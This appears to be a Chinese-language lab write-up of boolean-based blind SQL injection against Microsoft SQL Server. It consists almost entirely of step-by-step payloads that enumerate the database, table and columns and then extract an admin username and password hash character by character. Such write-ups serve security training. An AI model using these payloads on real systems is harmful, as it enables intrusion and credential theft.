1.判断是否存在注入

'

and 1=1

and 1=2

2.猜解数据库名

and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=109)

and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,2,1))=111)

.......

and exists(select top 1 name from Master..SysDatabases where unicode(substring(name,1,1))=111 and name not in ('mozhe_db_v2.dbo.sysobjects'))

3.猜解表名

and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109)

and exists(select top 1 name from mozhe_db_v2.dbo.sysobjects where unicode(substring(name,1,1))=109 and name not in ('manage'))

4.猜解列名

and exists(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'manage') and unicode(substring(name,1,1))=117)

5.逐字猜解数据

and exists(select id from manage where unicode(substring(username,1,1))=97 and ID=1)

and exists(select id from manage where unicode(substring(username,2,1))=100 and ID=1)

and exists(select id from manage where unicode(substring(username,3,1))=109 and ID=1)

and exists(select id from manage where unicode(substring(username,4,1))=105 and ID=1)

and exists(select id from manage where unicode(substring(username,5,1))=110 and ID=1)

and exists(select id from manage where unicode(substring(username,6,1))=95 and ID=1)

and exists(select id from manage where unicode(substring(username,7,1))=109 and ID=1)

and exists(select id from manage where unicode(substring(username,8,1))=122 and ID=1)

最后得到的username值是：admin_mz

and exists(select id from manage where unicode(substring(password,1,1))=55 and ID=1)

and exists(select id from manage where unicode(substring(password,2,1))=50 and ID=1)

and exists(select id from manage where unicode(substring(password,3,1))=101 and ID=1)

and exists(select id from manage where unicode(substring(password,4,1))=49 and ID=1)

and exists(select id from manage where unicode(substring(password,5,1))=98 and ID=1)

and exists(select id from manage where unicode(substring(password,6,1))=102 and ID=1)

and exists(select id from manage where unicode(substring(password,7,1))=99 and ID=1)

and exists(select id from manage where unicode(substring(password,8,1))=51 and ID=1)

and exists(select id from manage where unicode(substring(password,9,1))=102 and ID=1)

and exists(select id from manage where unicode(substring(password,10,1))=48 and ID=1)

and exists(select id from manage where unicode(substring(password,11,1))=49 and ID=1)

and exists(select id from manage where unicode(substring(password,12,1))=98 and ID=1)

and exists(select id from manage where unicode(substring(password,13,1))=55 and ID=1)

and exists(select id from manage where unicode(substring(password,14,1))=53 and ID=1)

and exists(select id from manage where unicode(substring(password,15,1))=56 and ID=1)

and exists(select id from manage where unicode(substring(password,16,1))=51 and ID=1)

最后得到的password值是：72e1bfc3f01b7583   解密：97285101
